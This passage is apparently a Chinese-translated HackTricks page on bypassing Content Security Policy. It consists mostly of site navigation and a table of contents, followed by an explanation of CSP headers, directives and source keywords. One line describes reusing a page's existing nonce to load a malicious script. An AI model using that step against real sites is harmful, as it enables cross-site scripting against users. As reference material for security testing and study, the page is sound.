hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 什么是CSP
  • Headers
  • 定义资源
  • 指令
  • 来源
  • 不安全的 CSP 规则
  • 'unsafe-inline'
  • 'unsafe-eval'
  • strict-dynamic
  • 通配符 (*)
  • 缺乏 object-src 和 default-src
  • 文件上传 + 'self'
  • Form-action
  • 第三方端点 + ('unsafe-eval')
  • 从类名中的 Angular XSS:
  • 攻击场景
  • 攻击步骤
  • 攻击示例
  • 滥用 *.google.com/script.google.com
  • 第三方端点 + JSONP
  • 第三方滥用
  • CSP Bypass Techniques
  • 通过RPO(相对路径覆盖)进行绕过
  • Iframes JS执行
  • 缺少base-uri
  • AngularJS 事件
  • AngularJS和白名单域
  • 通过重定向绕过
  • 使用悬挂标记绕过CSP
  • 'unsafe-inline'; img-src *; 通过XSS
  • 使用Service Workers
  • 策略注入
  • img-src *; 通过 XSS(iframe)- 时间攻击
  • 通过书签工具
  • 通过限制 CSP 绕过 CSP
  • 使用 Content-Security-Policy-Report-Only 进行 JS 数据泄露
  • CVE-2020-6519
  • 使用CSP和Iframe泄露信息
  • 绕过 CSP 的不安全技术
  • PHP 响应缓冲区超载
  • 重写错误页面
  • SOME + 'self' + wordpress
  • CSP数据泄漏绕过
  • Location
  • Meta标签
  • DNS Prefetch
  • WebRTC
  • 在线检查CSP策略
  • 自动创建CSP
  • 参考资料
  1. Pentesting Web

Content Security Policy (CSP) Bypass

上一页Command Injection下一页CSP bypass: self + 'unsafe-inline' with Iframes

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中被广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家

  • 加入 💬 或 或在Twitter上关注我们 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解及时了解快节奏的黑客世界

最新公告 随时了解最新的赏金计划发布和重要平台更新

什么是CSP

内容安全策略(CSP)被认为是一种浏览器技术,主要旨在防范跨站脚本(XSS)等攻击。它通过定义和详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括各种元素,如图像、框架和JavaScript。例如,策略可能允许从同一域(self)加载和执行资源,包括内联资源和通过eval、setTimeout或setInterval等函数执行字符串代码。

CSP的实施通过响应头或将元素嵌入HTML页面进行。根据此策略,浏览器会主动执行这些规定,并立即阻止任何检测到的违规行为。

  • 通过响应头实施:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • 通过 meta 标签实现:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP可以使用以下标头来强制执行或监控:

  • Content-Security-Policy:强制执行CSP;浏览器会阻止任何违规行为。

  • Content-Security-Policy-Report-Only:用于监控;报告违规行为但不阻止它们。在预生产环境中进行测试时非常理想。

定义资源

CSP限制了加载活动和被动内容的来源,控制诸如内联JavaScript执行和使用eval()等方面。一个示例策略是:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

指令

  • script-src: 允许特定 JavaScript 源,包括 URL、内联脚本以及由事件处理程序或 XSLT 样式表触发的脚本。

  • default-src: 在特定获取指令缺失时为获取资源设置默认策略。

  • child-src: 指定 Web Workers 和嵌入式框架内容的允许资源。

  • connect-src: 限制可以使用 fetch、WebSocket、XMLHttpRequest 等接口加载的 URL。

  • frame-src: 限制框架的 URL。

  • frame-ancestors: 指定哪些来源可以嵌入当前页面,适用于 <frame>、<iframe>、<object>、<embed> 和 <applet> 等元素。

  • img-src: 定义图像的允许来源。

  • font-src: 指定使用 @font-face 加载的字体的有效来源。

  • manifest-src: 定义应用清单文件的允许来源。

  • media-src: 定义加载媒体对象的允许来源。

  • object-src: 定义 <object>、<embed> 和 <applet> 元素的允许来源。

  • base-uri: 指定使用 <base> 元素加载的允许 URL。

  • form-action: 列出表单提交的有效端点。

  • plugin-types: 限制页面可以调用的 MIME 类型。

  • upgrade-insecure-requests: 指示浏览器将 HTTP URL 重写为 HTTPS。

  • sandbox: 应用类似于 <iframe> 的 sandbox 属性的限制。

  • report-to: 指定违反策略时将发送报告的组。

  • worker-src: 指定 Worker、SharedWorker 或 ServiceWorker 脚本的有效来源。

  • prefetch-src: 指定将被获取或预获取的资源的有效来源。

  • navigate-to: 通过任何方式(a、form、window.location、window.open 等)限制文档可以导航到的 URL。

来源

  • *: 允许所有 URL,除了具有 data:、blob:、filesystem: 方案的 URL。

  • 'self': 允许从相同域加载。

  • 'data': 允许通过 data 方案加载资源(例如,Base64 编码的图像)。

  • 'none': 阻止从任何来源加载。

  • 'unsafe-eval': 允许使用 eval() 和类似方法,出于安全原因不建议使用。

  • 'unsafe-hashes': 启用特定内联事件处理程序。

  • 'unsafe-inline': 允许使用内联资源,如内联 <script> 或 <style>,出于安全原因不建议使用。

  • 'nonce': 使用加密 nonce(一次性数字)的特定内联脚本的白名单。

  • 如果您有 JS 限制执行,可以通过 doc.defaultView.top.document.querySelector("[nonce]") 在页面内获取已使用的 nonce,然后重用它来加载恶意脚本(如果使用了 strict-dynamic,任何允许的来源都可以加载新来源,因此不需要这样做),例如:

重用 nonce 加载脚本
  • 'sha256-<hash>': 使用特定的 sha256 哈希值来允许脚本加载。

  • 'strict-dynamic': 如果已经被 nonce 或哈希值列入白名单,允许从任何来源加载脚本。

  • 'host': 指定特定的主机,如 example.com。

  • https:: 限制只能加载使用 HTTPS 的 URL。

  • blob:: 允许从 Blob URL(例如,通过 JavaScript 创建的 Blob URL)加载资源。

  • filesystem:: 允许从文件系统加载资源。

  • 'report-sample': 在违规报告中包含违规代码的示例(用于调试)。

  • 'strict-origin': 类似于 'self',但确保源的协议安全级别与文档匹配(只有安全源才能从安全源加载资源)。

  • 'strict-origin-when-cross-origin': 在进行同源请求时发送完整的 URL,但在跨源请求时只发送源。

  • 'unsafe-allow-redirects': 允许加载将立即重定向到另一个资源的资源。不建议使用,因为会降低安全性。

不安全的 CSP 规则

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

